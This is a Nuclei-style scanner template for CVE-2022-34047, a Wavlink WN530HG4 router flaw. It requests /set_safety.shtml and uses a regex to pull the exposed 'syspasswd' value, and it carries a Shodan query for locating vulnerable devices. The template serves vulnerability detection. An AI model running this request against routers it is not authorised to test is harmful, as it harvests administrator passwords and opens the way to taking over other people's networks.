id: CVE-2022-34047

info:
  name: Wavlink Set_safety.shtml - Password Exposure
  author: For3stCo1d
  severity: high
  description: |
    An access control issue in Wavlink WN530HG4 M30HG4.V5030.191116 allows attackers to obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd].
  reference:
    - https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047
    - http://packetstormsecurity.com/files/167891/Wavlink-WN530HG4-Password-Disclosure.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34047
    cwe-id: CWE-668
  metadata:
    shodan-query: http.title:"Wi-Fi APP Login"
    verified: "true"
  tags: cve,cve2022,wavlink,router,exposure

requests:
  - raw:
      - |
        GET /set_safety.shtml?r=52300 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'var syspasswd="'
          - '<title>APP</title>'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - 'syspasswd="(.+?)"'